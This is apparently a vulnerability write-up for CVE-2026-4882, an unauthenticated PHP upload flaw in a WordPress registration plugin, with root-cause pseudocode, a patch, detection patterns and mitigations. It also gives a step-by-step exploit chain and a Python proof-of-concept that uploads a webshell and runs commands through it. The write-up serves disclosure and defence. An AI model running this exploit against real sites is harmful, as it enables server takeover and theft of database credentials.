home intel cve-2026-4882-wordpress-uraf-unrestricted-file-upload-rce
CVE Analysis 2026-05-02 · 7 min read

CVE-2026-4882: Unauthenticated RCE via Unrestricted File Upload in URAF Plugin

The User Registration Advanced Fields plugin fails to validate MIME type or extension in its AJAX upload handler, allowing unauthenticated attackers to upload arbitrary PHP webshells and achieve RCE.

#wordpress-plugin#arbitrary-file-upload#remote-code-execution#authentication-bypass#input-validation
Technical mode — for security professionals
▶ Attack flow — CVE-2026-4882 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-4882Cross-platform · CRITICALCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-4882 is a critical (CVSS 9.8) unauthenticated arbitrary file upload vulnerability in the User Registration Advanced Fields WordPress plugin, affecting all versions up to and including 1.6.20. The URAF_AJAX::method_upload() function registers a public-facing AJAX action that processes multipart file uploads without any capability check, nonce validation, or file type enforcement. When a site administrator has added a "Profile Picture" field to any registration form, the upload endpoint becomes reachable by anonymous HTTP clients. A successful upload of a PHP file directly yields remote code execution as the web server process user.

Root cause: URAF_AJAX::method_upload() passes the attacker-supplied file from $_FILES directly to wp_handle_upload() with the test_type override set to false, bypassing WordPress core MIME type validation entirely and allowing any file extension to land in the uploads directory.

Affected Component

The vulnerable surface lives inside the plugin's AJAX handler registration and upload processing pipeline:

  • File: includes/class-uraf-ajax.php
  • Class: URAF_AJAX
  • Method: method_upload()
  • AJAX action: wp_ajax_nopriv_uraf_upload_file (unauthenticated)
  • Precondition: A "Profile Picture" field present on any published user-registration form

The precondition is trivially satisfied on any site that has installed the plugin for its intended purpose — adding profile picture upload capability to registration forms is the primary advertised feature.

Root Cause Analysis

WordPress exposes wp_ajax_nopriv_{action} hooks to unauthenticated users. The plugin registers uraf_upload_file on this hook unconditionally at class construction time. The handler then calls WordPress's own wp_handle_upload(), but deliberately disables the type-checking layer by passing 'test_type' => false. Additionally, no allowlist of permitted extensions is applied before or after the call.


/*
 * Pseudocode reconstruction of URAF_AJAX::method_upload()
 * File: includes/class-uraf-ajax.php
 * Versions <= 1.6.20
 */

class URAF_AJAX {

    public function __construct() {
        // Registers the action for ALL visitors, including unauthenticated
        add_action('wp_ajax_nopriv_uraf_upload_file', [$this, 'method_upload']);
        add_action('wp_ajax_uraf_upload_file',        [$this, 'method_upload']);
    }

    public function method_upload() {

        // BUG: No nonce verification — any anonymous HTTP request reaches here
        // BUG: No capability check (e.g., current_user_can('upload_files'))

        $field_key = sanitize_text_field($_POST['field_key']);  // attacker-controlled
        $form_id   = absint($_POST['form_id']);                  // attacker-controlled

        // Minimal form-existence check: only verifies form_id is non-zero,
        // does NOT verify a profile-picture field is enabled server-side
        if (empty($form_id)) {
            wp_send_json_error(['message' => 'Invalid form.']);
        }

        $file = $_FILES['uraf_file'];  // raw multipart upload, no pre-screening

        $upload_overrides = [
            // BUG: 'test_type' => false disables wp_check_filetype_and_ext()
            //      which is the ONLY WordPress core guard against non-image uploads
            'test_type' => false,

            // BUG: no 'mimes' key — even if test_type were true,
            //      no allowlist restricts accepted extensions
        ];

        // wp_handle_upload() with test_type=false writes the file verbatim
        // to wp-content/uploads/ with its original extension preserved
        $upload_result = wp_handle_upload($file, $upload_overrides);

        if (isset($upload_result['error'])) {
            wp_send_json_error(['message' => $upload_result['error']]);
        }

        // Returns the public URL of the uploaded file to the attacker
        wp_send_json_success([
            'url'  => $upload_result['url'],   // https://victim.com/wp-content/uploads/shell.php
            'file' => $upload_result['file'],
        ]);
    }
}

The critical call is wp_handle_upload($file, ['test_type' => false]). Internally, wp_handle_upload() gates MIME validation behind a test_type boolean. When the caller sets it to false, the function skips wp_check_filetype_and_ext() and proceeds directly to move_uploaded_file(). The filename — including its extension — is taken verbatim from $_FILES['uraf_file']['name'] after only a sanitize_file_name() call, which strips path separators but preserves .php, .phtml, .php7, etc.

Exploitation Mechanics


EXPLOIT CHAIN:
1. Attacker identifies a WordPress site running URAF <= 1.6.20
   with a registration form containing a Profile Picture field.
   (Detectable via: GET /?page_id=X renders [user_registration_form id="Y"]
    form HTML includes input[name="uraf_file"] with data-field-key attribute)

2. Attacker crafts a multipart POST to wp-admin/admin-ajax.php:
     action    = uraf_upload_file
     form_id   = 
     field_key = profile_pic   (static string used by plugin)
     uraf_file = @shell.php    (PHP webshell, Content-Type: image/jpeg)

3. Server calls wp_handle_upload() with test_type=false.
   move_uploaded_file() writes shell.php verbatim to:
     /var/www/html/wp-content/uploads/YYYY/MM/shell.php

4. JSON response returns the canonical URL:
     {"success":true,"data":{"url":"https://victim.com/wp-content/uploads/2026/06/shell.php"}}

5. Attacker GETs the returned URL with ?cmd=id — Apache/nginx serves
   the file to PHP-FPM; webshell executes as www-data (or equivalent).

6. Privilege escalation: www-data can read wp-config.php for DB credentials,
   write cron jobs, or exploit local kernel vulns for full root.

The Content-Type: image/jpeg header in step 2 is purely cosmetic — test_type => false means the server never reads it. The only server-side processing applied to the filename is sanitize_file_name(), which converts spaces to hyphens and strips certain special characters, but leaves the .php extension intact.

A minimal proof-of-concept request:


import requests

TARGET   = "https://victim.example.com"
AJAX_URL = f"{TARGET}/wp-admin/admin-ajax.php"
SHELL    = b""

resp = requests.post(
    AJAX_URL,
    data={
        "action":    "uraf_upload_file",
        "form_id":   "1",          # brute-force if unknown
        "field_key": "profile_pic",
    },
    files={
        "uraf_file": ("shell.php", SHELL, "image/jpeg"),
    },
)

data = resp.json()
if data.get("success"):
    shell_url = data["data"]["url"]
    print(f"[+] Shell uploaded: {shell_url}")
    rce = requests.get(shell_url, params={"cmd": "id"})
    print(f"[+] RCE output: {rce.text}")
else:
    print(f"[-] Upload failed: {data}")

Memory Layout

This is a logic vulnerability rather than a memory corruption bug, so the relevant "layout" is the WordPress upload pipeline's decision tree. The following shows which guards are present and which are bypassed:


wp_handle_upload() DECISION TREE (URAF <= 1.6.20):

  [$_FILES input]
       |
       v
  sanitize_file_name()         <-- strips path traversal only; .php survives
       |
       v
  check 'test_type' flag
       |
       +--[true]---> wp_check_filetype_and_ext()
       |                  |
       |             compare against $wp_allowed_mime_types
       |                  |
       |             BLOCK if extension not in allowlist  <-- BYPASSED
       |
       +--[false]--> SKIP MIME CHECK ENTIRELY             <-- URAF takes this path
       |
       v
  unique_filename()            <-- deconflicts name, preserves extension
       |
       v
  move_uploaded_file()         <-- file lands on disk as .php
       |
       v
  return ['url' => ..., 'file' => ...]   <-- URL returned to attacker

Patch Analysis

The correct fix requires two independent layers: (1) restore MIME type validation by removing the test_type override, and (2) add an explicit allowlist of image extensions before calling the upload handler. A minimal correct patch:


// BEFORE (vulnerable, <= 1.6.20):
public function method_upload() {
    // No nonce check
    // No capability check
    $file = $_FILES['uraf_file'];
    $upload_overrides = [
        'test_type' => false,   // BUG: disables all MIME validation
    ];
    $result = wp_handle_upload($file, $upload_overrides);
    wp_send_json_success(['url' => $result['url']]);
}

// AFTER (patched):
public function method_upload() {
    // FIX 1: verify nonce issued to this session
    check_ajax_referer('uraf_upload_nonce', 'security');

    // FIX 2: restrict to image MIME types only
    $allowed_mimes = [
        'jpg|jpeg|jpe' => 'image/jpeg',
        'gif'          => 'image/gif',
        'png'          => 'image/png',
        'webp'         => 'image/webp',
    ];

    $file = $_FILES['uraf_file'];

    // FIX 3: validate extension against allowlist before upload
    $file_info = wp_check_filetype(
        $file['name'],
        $allowed_mimes
    );
    if (empty($file_info['ext'])) {
        wp_send_json_error(['message' => 'File type not permitted.']);
    }

    $upload_overrides = [
        // FIX 4: remove test_type:false — let WordPress validate
        'test_type' => true,
        'mimes'     => $allowed_mimes,
    ];

    $result = wp_handle_upload($file, $upload_overrides);

    if (isset($result['error'])) {
        wp_send_json_error(['message' => $result['error']]);
    }
    wp_send_json_success(['url' => $result['url']]);
}

Note that a nonce alone is insufficient — nonces can be scraped from the public registration form page. The MIME allowlist is the load-bearing fix. Additionally, hardened server configurations should ensure .htaccess rules or nginx location blocks deny PHP execution within wp-content/uploads/ as a defense-in-depth measure independent of plugin behavior.

Detection and Indicators

Web server access logs — look for unauthenticated POSTs to /wp-admin/admin-ajax.php with action=uraf_upload_file followed within seconds by a GET to a /wp-content/uploads/ path ending in .php, .phtml, or .php7:


# Suspicious log pattern
POST /wp-admin/admin-ajax.php HTTP/1.1  [no Cookie header]
  body: action=uraf_upload_file&form_id=1&field_key=profile_pic

GET /wp-content/uploads/2026/06/shell.php?cmd=id HTTP/1.1
  response: 200 OK   <-- execution confirmed

Filesystem indicators:

  • PHP files in wp-content/uploads/YYYY/MM/ — legitimate uploads should never include PHP.
  • find /var/www/html/wp-content/uploads -name "*.php" -o -name "*.phtml"
  • File timestamps clustering around registration form access events.

WAF signatures: Flag multipart uploads to admin-ajax.php where the uploaded filename contains PHP-executable extensions from unauthenticated sources. ModSecurity rule REQUEST_FILENAME matching admin-ajax.php combined with FILES_NAMES matching \.(php\d*|phtml|phar) covers this precisely.

Remediation

  • Immediate: Update User Registration Advanced Fields to a version above 1.6.20 when the vendor releases a patched build.
  • Interim mitigation: Add a server-level rule denying PHP execution in the uploads directory. For Apache: php_flag engine off inside a <Directory wp-content/uploads> block. For nginx: add location ~* /wp-content/uploads/.*\.php { deny all; }.
  • Deactivation: If the Profile Picture field is not actively used, deactivate the plugin entirely until a patch is available.
  • Audit: Inspect existing upload directories for unexpected PHP files; rotate all credentials stored in wp-config.php if exploitation is suspected.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →